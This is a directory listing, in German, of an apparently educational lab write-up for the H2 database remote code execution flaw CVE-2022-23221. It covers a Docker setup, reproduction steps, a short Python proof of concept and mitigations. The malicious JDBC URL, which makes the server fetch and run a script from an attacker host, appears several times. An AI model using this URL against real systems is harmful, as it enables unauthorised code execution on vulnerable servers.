Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
H2-database-CVE-2022-23221 — # vulhub/H2-database/CVE-2022-23221 | Kitploit
Tools/GitHubGitHub/straightsang/h2-database-cve-2022-23221
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

# vulhub/H2-database/CVE-2022-23221

Repository anzeigen
23vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
# H2-Datenbank-RCE (CVE-2022-23221)

---

## 1. Zusammenfassung

- Referenz: https://nvd.nist.gov/vuln/detail/cve-2022-23221

- H2 ist ein relationales Datenbankverwaltungssystem, das die Möglichkeit bietet, Java-Code direkt innerhalb der SQL-Engine zu kompilieren und auszuführen.
- Der H2-Treiber parst die JDBC-URL, um die Verbindung zwischen Anwendung und Datenbank herzustellen. Dabei lassen sich über die in der URL enthaltenen Konfigurationsparameter der Anfangszustand oder das Verhalten der Datenbank steuern.

- In den problematischen Versionen vor H2 2.1.210 besteht das Problem, dass über den INIT-Parameter der JDBC-URL ein entferntes SQL-Skript ausgeführt werden kann. Ein Angreifer kann dies ausnutzen, indem er ein manipuliertes SQL-Skript aus der Ferne einschleust und über die darin enthaltenen Anweisungen Systembefehle ausführt, wodurch die Schwachstelle CVE-2022-23221 ausgelöst wird.

- Die Merkmale dieser Schwachstelle sind wie folgt.
    1. Keine Authentifizierung erforderlich: Wer auch nur die Berechtigung hat, eine JDBC-URL einzugeben, kann diese Schwachstelle nutzen, um die Kontrolle über das System zu übernehmen.
    2. Automatische Ausführung beim Dienststart: Wenn ein Angreifer nur die Konfigurationsdatei ändert, tritt beim Start des Dienstes, der h2 verwendet, automatisch eine RCE (Remote-Code-Ausführung) auf.
    3. Verschleierung: Es ist für Entwickler schwierig, den Angriff zu erkennen.
    4. Große Schadensreichweite: Aufgrund der hohen Geschwindigkeit und Leichtgewichtigkeit von H2 wird H2 für Entwicklung und Tests verschiedener Webdienste eingesetzt. Da jede Umgebung, in der die JDBC-URL über eine Konfigurationsdatei oder durch Benutzereingaben festgelegt werden kann, Ziel eines Angriffs mit dieser Schwachstelle sein kann, ist die Auswirkung groß.

- Betroffener Bereich der Schwachstelle
    - Betroffene Versionen: H2 unter 2.1.210
    - Gepatchte Version: H2 2.1.210 oder höher
<br><br>


## 2. Bedingungen für die Schwachstelle

- Es muss eine Version vor H2 2.1.210 sein.
- Die JDBC-URL muss `IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’` enthalten.
    1. `IGNORE_UNKNOWN_SETTINGS=TRUE`,  `FORBID_CREATION=FALSE` -> Umgehung der Sicherheitseinstellungen
        - Wenn dieser Parameter vorhanden ist, werden die Sicherheitseinstellungen außer Kraft gesetzt, sodass der Befehl zur Ausführung eines entfernten Skripts bei der Initialisierung nicht blockiert, sondern unverändert ausgeführt wird.
    2. `INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'` -> SQL-Befehl, der bei der Verbindung zwischen Anwendung und DB automatisch ausgeführt wird
        - Wenn der Wert des INIT-Parameters den SQL-Befehl RUNSCRIPT und die Adresse eines schädlichen Skripts enthält, verbindet sich H2 beim Aufbau der Verbindung zwischen Anwendung und H2-DB mit dem entsprechenden Server, lädt die Datei herunter und führt sie aus.
- Das heruntergeladene SQL-Skript muss die SQL-Anweisung `CREATE ALIAS` enthalten.
    - Die Anweisung `CREATE ALIAS` im entfernt auszuführenden Skript bewirkt, dass H2 eine Java-Funktion aus dem Skript innerhalb der DB ausführt, was letztlich zu einer RCE führt.  
  
<br><br><br>
 

## 3. Umgebungseinrichtung

- Szenario
    - Eine verwundbare H2-Umgebung wird eingerichtet und eine schädliche JDBC-URL in H2 eingegeben. H2 parst diese URL ohne ordnungsgemäße Validierung und lädt eine SQL-Datei vom Angreifer-Server herunter und führt sie aus. Wenn im Protokoll des h2-vulnerable-Servers neben der Zeichenkette „EXPLOITED“ die Ausführungsergebnisse der Befehle `id`, `whoami`, `pwd` ausgegeben werden, bedeutet dies, dass eine verwundbare H2-Umgebung eingerichtet wurde und dass H2 beim Parsen der schädlichen JDBC-URL die Datei exploit.sql von einem externen Angreifer-Server entfernt heruntergeladen und ausgeführt hat.
    
- Umgebungseinrichtung
    
    ```bash
    docker compose up -d 
    ```
    
    ![docker ps](https://assets.kitploit.com/production/public/readmes/32938/b63bdf793b747d432c74c9246d6173d344cc4a4a7ac3241623b823f7923fb074.png)
    
    - Wenn der Befehl ausgeführt wird, werden die folgenden Umgebungen gestartet.
    - **h2-vulnerable**: H2 2.0.206 (verwundbare Version vor dem Patch)
        - H2-Webkonsole: `http://your-ip:8082`
        - TCP-Server: `tcp://your-ip:9092`
    - **attacker**: HTTP-Server
        - `http://your-ip:8000` : stellt die Datei `exploit.sql` bereit
        
- Nach der Konfiguration der Umgebung erscheint beim Zugriff auf http://your-ip:8082 die H2-Webseite.

    ![](https://assets.kitploit.com/production/public/readmes/32938/e3e6471c91f777e6445281949e8d333f36663d24f297680755021533c108fb8c.png)
<br><br><br>


## 4. Reproduktionsverfahren

: Da in der Webkonsole Sicherheitsrichtlinien angewendet werden, können die Parameter, die die Schwachstellenbedingungen darstellen, gefiltert werden. Daher wird die Schwachstelle reproduziert, indem die JDBC-URL mit den schädlichen Parametern direkt über die CLI eingegeben wird, und das Ergebnis wird überprüft. 

### [Fall einer normalen Anfrage]

- Normale JDBC-URL: "jdbc:h2:mem:test"

- Befehl für eine normale Anfrage
    ```bash
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    ```
- Ausführungsergebnis
    ![CLI-basierte Ausführung](https://assets.kitploit.com/production/public/readmes/32938/8932b7443a3cc3ece71427dc1368544c500e347fdbf47fa53937527e7f658acc.png)
    - Keine Anfrage am attacker-Server eingegangen 
    - Auf dem h2-vulnerable-Server wurden keine besonderen Logs ausgegeben
    
<br>


### [Fall eines Schwachstellenangriffs]

- Bösartige JDBC-URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

#### 1. Angriffsausführung

- Durch Eingabe einer schädlichen JDBC-URL in den H2-Treiber wird eine Verbindung zum attacker-Server versucht. Dabei gibt es zwei Möglichkeiten, die URL einzugeben.
    
    1. Die schädliche JDBC-URL wird direkt über die CLI in die H2 Shell eingegeben.
    
    ```bash
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    ```
    
    ![CLI-basierte Ausführung](https://assets.kitploit.com/production/public/readmes/32938/57701a19d4898540c0b5d3912cdd3b48548eed389f6c1dab6d532661e41b6427.png)
    <br>

    
    2. Die PoC-Datei wird ausgeführt.
    
    ```bash
    python3 poc.py
    ```
    
    ![Ausführung von poc.py](https://assets.kitploit.com/production/public/readmes/32938/d3b37a83cd2848158ae636820a87d2f63e0ada8ffcea358adfb43c0f837b3fb1.png)

    

#### 2. Dateianfrage und -ausführung 
- H2 fordert gemäß `INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'`, das im INIT-Parameter der JDBC-URL angegeben ist, die Datei exploit.sql vom attacker-Server an (HTTP GET) und führt diese innerhalb der H2-Datenbank aus.  
    1. Durch Ausführen von `docker logs attacker` können die Logs der vom h2-vulnerable-Server eingegangenen Anfrage nach der Datei exploit.sql überprüft werden.
    ```bash
    docker logs attacker
    ```
        
    ![](https://assets.kitploit.com/production/public/readmes/32938/5523795f55c3754b4680893b844cfc7687d63864029c0a37e7e83a2b6bf499ce.png)
        
    2. Der attacker-Server gibt die angeforderte Datei exploit.sql zurück, und der h2-vulnerable-Server führt die empfangene Datei exploit.sql aus. Dabei löst die CREATE ALIAS-Anweisung innerhalb des Skripts die Ausführung von Java-Code aus, wodurch RCE auftritt.
<br><br><br>


## 5. poc.py-Code
```python
#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()

```
<br><br>

## 6. Ausführungsergebnis

- Als Ergebnis der Ausführung der Datei exploit.sql werden im Log des h2-vulnerable-Servers neben der Zeichenkette „EXPLOITED“ auch die Ausführungsergebnisse der Befehle `id`, `whoami` und `pwd` ausgegeben.

- Das Log kann mit `docker logs h2-vulnerable` überprüft werden.
    ```bash
    docker logs h2-vulnerable`
    ```

    ![Ausführungsergebnis überprüfen](https://assets.kitploit.com/production/public/readmes/32938/2bf92905196b4b8ba6f1cbfd227083fd50b3c875f2b87f05f004c9a2709050dc.png)

=> Dies bedeutet, dass eine verwundbare H2-Umgebung eingerichtet wurde und dass der ferngesteuerte Dateidownload und die -ausführung beim Parsen einer bösartigen JDBC-URL durch H2 erfolgreich waren.

<br>


## 7. Gegenmaßnahmen

- Upgrade auf Version H2 2.1.210 oder höher
    - Patch-Inhalt: Einschränkung der Funktion zur Ausführung externer Skripte über den INIT-Parameter
    - Veröffentlichungsdatum: 2022-05-15
- Verstärkte Validierung der JDBC-URL-Eingabewerte: Eingaben, die Parameter wie INIT, RUNSCRIPT usw. enthalten, welche Remote-Code-Ausführung verursachen, werden blockiert, und die JDBC-URL-Eingabe wird mittels eines Whitelist-basierten Ansatzes validiert.
- Überwachung der Integrität von Konfiguration und Umgebung: Bei Änderungen von Konfigurationsdateien ist nach der Überprüfung auf Manipulation eine Genehmigung durch den Administrator einzuholen.
Tool herunterladen